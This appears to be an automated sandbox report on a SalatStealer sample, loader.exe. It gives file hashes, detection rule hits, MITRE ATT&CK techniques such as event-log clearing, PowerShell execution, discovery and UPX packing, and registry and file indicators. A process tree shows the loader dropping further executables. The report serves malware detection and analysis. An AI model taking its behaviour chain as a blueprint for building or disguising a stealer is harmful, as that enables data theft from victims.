salatstealer | 9798e2ec0e7b461e616553ffc4443d3ddddf026b57b92c77e40e9e065df1c1e7

Analysis

max time kernel
150s
max time network
149s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
05/08/2026, 15:59

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
loader.exe
Size 3.6MB
Sample260805-te84yscc58
SHA256 9798e2ec0e7b461e616553ffc4443d3ddddf026b57b92c77e40e9e065df1c1e7
MD5 a7b9c128d28935944b9fd86ad62ddf99
SHA1 b3cc0b1eab399229c5cd153acb54df08ed268617
SHA512 89476cec9cbc887554493096a086c040c88d1ee25648d86bd8b05009050bc63d1400577c313a75d309fc28f423d511f9b6b1b64b9d60d0d6bec5e8bd6a354eda
SSDEEP 49152:b1Fw9ukqoIAVDHqbTmy+/33BG2w3Ey4o4UwAq8IIJSLABSCmDZsNJqAWGHuXagZl:bT0ukWb/FP3EtgfJSUBSCmDyJlHix
TLSH
T1D306338E645D38E2DABB11B0782E3A840910EDB01FC4D9D5CDEC139BBBD3D945E6A44B
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution salatstealer stealer upx

Malware Config

Signatures

Family: salatstealer
SalatStealer is a stealer that takes sceenshot written in Golang.
stealer salatstealer

Detect SalatStealer payload 4 IoCs

resource	yara_rule
behavioral2/memory/3220-34-0x0000000000C00000-0x0000000001850000-memory.dmp	family_salatstealer
behavioral2/memory/3220-965-0x0000000000C00000-0x0000000001850000-memory.dmp	family_salatstealer
behavioral2/memory/2552-1034-0x00000000007B0000-0x0000000001400000-memory.dmp	family_salatstealer
behavioral2/memory/3220-1035-0x0000000000C00000-0x0000000001850000-memory.dmp	family_salatstealer

Executes dropped EXE 3 IoCs

pid	Process
3220	loadermain.exe
1484	Install.exe
2552	NRExtExport.exe

Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs

Clear Windows Event Logs to hide the activity of an intrusion.

defense_evasion

Clear Windows Event Logs

T1070.001

description	ioc	Process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-WER-Diag%4Operational.evtx	svchost.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4356	powershell.exe

Drops file in System32 directory 9 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\$AppData\NRExtExport.exe	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	svchost.exe

UPX packed file 7 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000e00000001c581-9.dat	upx
behavioral2/memory/3220-18-0x0000000000C00000-0x0000000001850000-memory.dmp	upx
behavioral2/memory/3220-34-0x0000000000C00000-0x0000000001850000-memory.dmp	upx
behavioral2/memory/3220-965-0x0000000000C00000-0x0000000001850000-memory.dmp	upx
behavioral2/memory/2552-1031-0x00000000007B0000-0x0000000001400000-memory.dmp	upx
behavioral2/memory/2552-1034-0x00000000007B0000-0x0000000001400000-memory.dmp	upx
behavioral2/memory/3220-1035-0x0000000000C00000-0x0000000001850000-memory.dmp	upx

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_z4qfder2.hjt.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_g1ajzput.icb.psm1	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1548	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	NRExtExport.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	loadermain.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Install.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
1548	cmd.exe

Checks processor information in registry 2 TTPs 7 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key value enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key security queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	wmiprvse.exe

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={38D49882-515E-4823-B707-1F138A914AEF}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\CTLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Mon, 03 Aug 2026 13:52:57 GMT"	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,940 10,941 10,942 10,943 10,940 15,1329 15,940 6,944 50,944 10,941 15,942 15,940 50,943 15,944 6,944 15,943 6,1329 50,1329 100,1329 6,941 6,942 6,944 100,940 100"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "17110992,504928405,41816131,507286179,7202265,17110988,7153487,504928410,577889346,5804129,17962391,508368333,17962392,41484365,24262478,9179409,3462423,3702920,3700754,3965062,24262474,4297094,7153421,3462365,18716193,7153435,24262477,25036127,24262473,9179410,20502174,6308191,18407617,39125643,539756558,6104718,9179411,51475283,41185282,39389248,539756557,528570079,7202269"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4356	powershell.exe
4356	powershell.exe
4356	powershell.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
5116	explorer.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4356	powershell.exe
Token: SeDebugPrivilege	4356	powershell.exe
Token: SeDebugPrivilege	740	winlogon.exe
Token: SeAssignPrimaryTokenPrivilege	3692	svchost.exe
Token: SeIncreaseQuotaPrivilege	3692	svchost.exe
Token: SeSecurityPrivilege	3692	svchost.exe
Token: SeTakeOwnershipPrivilege	3692	svchost.exe
Token: SeLoadDriverPrivilege	3692	svchost.exe
Token: SeSystemtimePrivilege	3692	svchost.exe
Token: SeBackupPrivilege	3692	svchost.exe
Token: SeRestorePrivilege	3692	svchost.exe
Token: SeShutdownPrivilege	3692	svchost.exe
Token: SeSystemEnvironmentPrivilege	3692	svchost.exe
Token: SeUndockPrivilege	3692	svchost.exe
Token: SeManageVolumePrivilege	3692	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	3692	svchost.exe
Token: SeIncreaseQuotaPrivilege	3692	svchost.exe
Token: SeSecurityPrivilege	3692	svchost.exe
Token: SeTakeOwnershipPrivilege	3692	svchost.exe
Token: SeLoadDriverPrivilege	3692	svchost.exe
Token: SeSystemtimePrivilege	3692	svchost.exe
Token: SeBackupPrivilege	3692	svchost.exe
Token: SeRestorePrivilege	3692	svchost.exe
Token: SeShutdownPrivilege	3692	svchost.exe
Token: SeSystemEnvironmentPrivilege	3692	svchost.exe
Token: SeUndockPrivilege	3692	svchost.exe
Token: SeManageVolumePrivilege	3692	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	3692	svchost.exe
Token: SeIncreaseQuotaPrivilege	3692	svchost.exe
Token: SeSecurityPrivilege	3692	svchost.exe
Token: SeTakeOwnershipPrivilege	3692	svchost.exe
Token: SeLoadDriverPrivilege	3692	svchost.exe
Token: SeSystemtimePrivilege	3692	svchost.exe
Token: SeBackupPrivilege	3692	svchost.exe
Token: SeRestorePrivilege	3692	svchost.exe
Token: SeShutdownPrivilege	3692	svchost.exe
Token: SeSystemEnvironmentPrivilege	3692	svchost.exe
Token: SeUndockPrivilege	3692	svchost.exe
Token: SeManageVolumePrivilege	3692	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	3692	svchost.exe
Token: SeIncreaseQuotaPrivilege	3692	svchost.exe
Token: SeSecurityPrivilege	3692	svchost.exe
Token: SeTakeOwnershipPrivilege	3692	svchost.exe
Token: SeLoadDriverPrivilege	3692	svchost.exe
Token: SeSystemtimePrivilege	3692	svchost.exe
Token: SeBackupPrivilege	3692	svchost.exe
Token: SeRestorePrivilege	3692	svchost.exe
Token: SeShutdownPrivilege	3692	svchost.exe
Token: SeSystemEnvironmentPrivilege	3692	svchost.exe
Token: SeUndockPrivilege	3692	svchost.exe
Token: SeManageVolumePrivilege	3692	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	3692	svchost.exe
Token: SeIncreaseQuotaPrivilege	3692	svchost.exe
Token: SeSecurityPrivilege	3692	svchost.exe
Token: SeTakeOwnershipPrivilege	3692	svchost.exe
Token: SeLoadDriverPrivilege	3692	svchost.exe
Token: SeSystemtimePrivilege	3692	svchost.exe
Token: SeBackupPrivilege	3692	svchost.exe
Token: SeRestorePrivilege	3692	svchost.exe
Token: SeShutdownPrivilege	3692	svchost.exe
Token: SeSystemEnvironmentPrivilege	3692	svchost.exe
Token: SeUndockPrivilege	3692	svchost.exe
Token: SeManageVolumePrivilege	3692	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	3692	svchost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2672 wrote to memory of 3220	2672	loader.exe	89
PID 2672 wrote to memory of 1484	2672	loader.exe	90
PID 1548 wrote to memory of 4356	1548	cmd.exe	92
PID 4356 wrote to memory of 740	4356	powershell.exe	5
PID 740 wrote to memory of 968	740	winlogon.exe	9
PID 740 wrote to memory of 976	740	winlogon.exe	10
PID 740 wrote to memory of 544	740	winlogon.exe	11
PID 740 wrote to memory of 840	740	winlogon.exe	13
PID 740 wrote to memory of 1120	740	winlogon.exe	14
PID 740 wrote to memory of 1180	740	winlogon.exe	15
PID 740 wrote to memory of 1276	740	winlogon.exe	16
PID 740 wrote to memory of 1360	740	winlogon.exe	17
PID 740 wrote to memory of 1368	740	winlogon.exe	18
PID 740 wrote to memory of 1384	740	winlogon.exe	19
PID 740 wrote to memory of 1560	740	winlogon.exe	22
PID 740 wrote to memory of 1652	740	winlogon.exe	23
PID 740 wrote to memory of 1672	740	winlogon.exe	24
PID 740 wrote to memory of 1700	740	winlogon.exe	25
PID 740 wrote to memory of 1712	740	winlogon.exe	26
PID 740 wrote to memory of 1744	740	winlogon.exe	27
PID 740 wrote to memory of 1948	740	winlogon.exe	28
PID 740 wrote to memory of 2028	740	winlogon.exe	29
PID 740 wrote to memory of 2064	740	winlogon.exe	30
PID 740 wrote to memory of 2088	740	winlogon.exe	31
PID 740 wrote to memory of 2140	740	winlogon.exe	32
PID 740 wrote to memory of 2220	740	winlogon.exe	33
PID 740 wrote to memory of 2264	740	winlogon.exe	34
PID 740 wrote to memory of 2340	740	winlogon.exe	35
PID 740 wrote to memory of 2392	740	winlogon.exe	36
PID 740 wrote to memory of 2444	740	winlogon.exe	37
PID 740 wrote to memory of 2584	740	winlogon.exe	38
PID 740 wrote to memory of 2620	740	winlogon.exe	39
PID 740 wrote to memory of 2636	740	winlogon.exe	40
PID 740 wrote to memory of 2752	740	winlogon.exe	41
PID 740 wrote to memory of 2940	740	winlogon.exe	42
PID 740 wrote to memory of 2992	740	winlogon.exe	43
PID 740 wrote to memory of 712	740	winlogon.exe	44
PID 740 wrote to memory of 3080	740	winlogon.exe	45
PID 740 wrote to memory of 3156	740	winlogon.exe	47
PID 740 wrote to memory of 3196	740	winlogon.exe	48
PID 740 wrote to memory of 3476	740	winlogon.exe	50
PID 740 wrote to memory of 3644	740	winlogon.exe	51
PID 740 wrote to memory of 3672	740	winlogon.exe	52
PID 740 wrote to memory of 3684	740	winlogon.exe	53
PID 740 wrote to memory of 3692	740	winlogon.exe	54
PID 740 wrote to memory of 3700	740	winlogon.exe	55
PID 740 wrote to memory of 3752	740	winlogon.exe	56
PID 740 wrote to memory of 3360	740	winlogon.exe	57
PID 740 wrote to memory of 936	740	winlogon.exe	58
PID 740 wrote to memory of 4368	740	winlogon.exe	59
PID 740 wrote to memory of 4432	740	winlogon.exe	60
PID 740 wrote to memory of 4464	740	winlogon.exe	61
PID 740 wrote to memory of 4592	740	winlogon.exe	62
PID 740 wrote to memory of 4900	740	winlogon.exe	63
PID 740 wrote to memory of 5072	740	winlogon.exe	64
PID 740 wrote to memory of 5136	740	winlogon.exe	65
PID 740 wrote to memory of 5192	740	winlogon.exe	66
PID 740 wrote to memory of 5236	740	winlogon.exe	67
PID 740 wrote to memory of 5600	740	winlogon.exe	70
PID 740 wrote to memory of 4268	740	winlogon.exe	73
PID 740 wrote to memory of 4964	740	winlogon.exe	74
PID 740 wrote to memory of 4736	740	winlogon.exe	75
PID 740 wrote to memory of 2208	740	winlogon.exe	78
PID 740 wrote to memory of 3024	740	winlogon.exe	79

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:740
- C:\Windows\system32\fontdrvhost.exe
  "fontdrvhost.exe"
  2⤵
  PID:976
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:1180

C:\Windows\system32\fontdrvhost.exe
"fontdrvhost.exe"
1⤵
PID:968

C:\Windows\System32\WUDFHost.exe
"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-3a9f9e40-c80b-4955-90c4-129a82238e32 -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-2e75dd3a-af6d-4f23-a972-6eed251fcde4 -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-1d3a65fd-e10a-453d-b4fa-83b9d69e75c8 -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-76dc7972-89c7-4448-87b1-8f02df9c8b77 -LifetimeId:c15d7eb8-62b1-486b-8071-0e4ae70be28f -DeviceGroupId:WudfDefaultDevicePool -HostArg:0
1⤵
PID:544

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:840

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:1120

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1276

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1360

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1368

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:1384

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1560

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1652

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
1⤵
PID:1672

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
1⤵
PID:1700

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1712

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UserProfileService -p -s ProfSvc
1⤵
PID:1744

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1948
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:4796
- - C:\Windows\explorer.exe
    explorer.exe /LOADSAVEDWINDOWS
    3⤵
    - Suspicious behavior: GetForegroundWindowSpam
    PID:5116
  - - C:\Users\Admin\AppData\Local\Temp\loader.exe
      "C:\Users\Admin\AppData\Local\Temp\loader.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2672
    - - C:\Users\Admin\AppData\Local\Temp\loadermain.exe
        
        "C:\Users\Admin\AppData\Local\Temp\loadermain.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:3220
      - C:\Users\Admin\AppData\Roaming\NRExtExport.exe
        
        C:\Users\Admin\AppData\Roaming\NRExtExport.exe
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:2552
    - - C:\Users\Admin\AppData\Local\Temp\Install.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Install.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:1484

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Indicator Removal: Clear Windows Event Logs
PID:2028

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:2064

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:2088

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:2140

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:2220

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:2264

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2340

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:2392

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TextInputManagementService
1⤵
PID:2444
- C:\Windows\system32\ctfmon.exe
  /QuitInfo:0000000000000270;0000000000000274;
  2⤵
  PID:5072

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s DusmSvc
1⤵
PID:2584

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
